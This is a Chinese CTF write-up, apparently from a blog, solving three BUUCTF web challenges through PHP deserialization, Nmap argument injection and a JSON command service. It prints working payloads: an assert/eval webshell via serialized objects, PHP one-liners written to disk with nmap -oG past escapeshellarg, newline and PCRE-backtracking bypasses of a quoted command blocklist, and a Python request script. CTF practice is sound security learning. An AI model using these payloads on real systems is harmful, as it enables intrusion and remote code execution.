目录
[NPUCTF2020]ReadlezPHP
[网鼎杯 2020 朱雀组]Nmap
[FBCTF2019]RCEService
查看源代码发现一个目录,然后访问一下
a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
$b($a)看见这个以前肯定做过需要用指定的函数,翻看一下以前的文章复习一下
反谢列话,先尝试一下,system(phpinfo())
a = "phpinfo()";
$this->b = "system";
}
}
$c = new HelloPhp;
echo urlencode(serialize($c));
?>
发现还是时间没变化,考虑到system是不是被过滤掉了,用assert试一下
看到环境,果然被过滤了
在里面发现flag,或者通过一句话木马
public $a = 'eval($_POST[hack]);'; public $b = "assert";
然后通过hack可以链接议建,或者自己构造另一种思路
eval类型函数是代码执行而不是命令执行(一句话木马)
system类型函数是命令执行而不是代码执行
assert和eval类似,是代码执行 assert后面不需要;
这道题其实不算是命令执行,主要考察Nmap这个工具,但是也用到了一点就归到这类吧
写这道题之前需要用到,这些知识
nmap其他写文件命令:
-oN (标准输出)
-oX (XML输出)
-oS (ScRipT KIdd|3 oUTpuT)
-oG (Grep输出)
-oA (输出至所有格式)
这道题和我做过的题基本一模一样,buuctf(探险2)_偶尔躲躲乌云334的博客-CSDN博客
[BUUCTF 2018]Online Tool
打开界面,
127.0.0.1 -oG hack.php -oG是直接写入
我们先来试一下
说明有过滤的字符,我们依次筛选,发现是php这样就只能使用短标签代替了
127.0.0.1 = @eval($_POST[1]);?> -oG h.php 忘记了php被过滤,后缀也一样,用phtml代替127.0.0.1 = @eval($_POST[1]);?> -oG h.phtml
其实看到这里我们就能想起来,escapeshellarg
和escapeshellcmd的过滤,这是当成了一整个字符处理,所以不行我们要绕过
只需要两边加'和空格就可以绕过,并且可以省略127.0.0.1
' = @eval($_GET[1]);?> -oG p.phtml ' 这里用get传参更加明显
获得flag
打开界面发现需要用json的方式输入命令,百度一下
{ "name":"兮动人", "age":22, "fruits":["apple","pear","grape"] }
这种也就是前面是属性,后面是值,用大括号包起来
我们尝试一下 ,这个文本框是cmd
黑客的企图被发现了,我想到可能有某种过滤,或者正则,可是没有源码,无从下手
偷偷跑过去翻隔壁的wp,拿回来了源码
';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected
';
} else {
echo 'Attempting to run command:
';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '
';
}
}
?>
发现真的过滤了好多
但是他用的是preg_match()函数,只匹配一行,用个换行符搞定
{%0A"cmd":"ls /"%0A}
?cmd={%0A"cmd": "ls /"%0A},如果在文本框输入还需要进行一次url编码,直接在url中写入
没有发现flag
putenv('PATH=/home/rceservice/jail');// 设置了环境变量,只能使用当前环境的命令
改变了当前路径,猜测flag就在这个路径之中
cmd={%0A"cmd": "ls /home/rceservice/jail"%0A},果然flag在里面直接cat
那如何调用cat呢,简单,直接用绝对路径调用
?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}
方法二
使用脚本回溯次数超出了限制,让正则失效:
回溯就是通过请求次数>1000000然后返回flase,如果想防御这个漏洞,可以用强比较
flase===0 false
flase==0 true
PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌
import requests url="http://bf25a98f-152e-4770-a4b5-6dfe0d4aab20.node4.buuoj.cn:81/" payload='{"cmd":"ls /","test":"' + "a"*(1000000) + '"}' res=requests.post("http://bf25a98f-152e-4770-a4b5-6dfe0d4aab20.node4.buuoj.cn:81/",data={"cmd":payload}) print(payload) print (res.text)
然后把payload改为
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
获得flag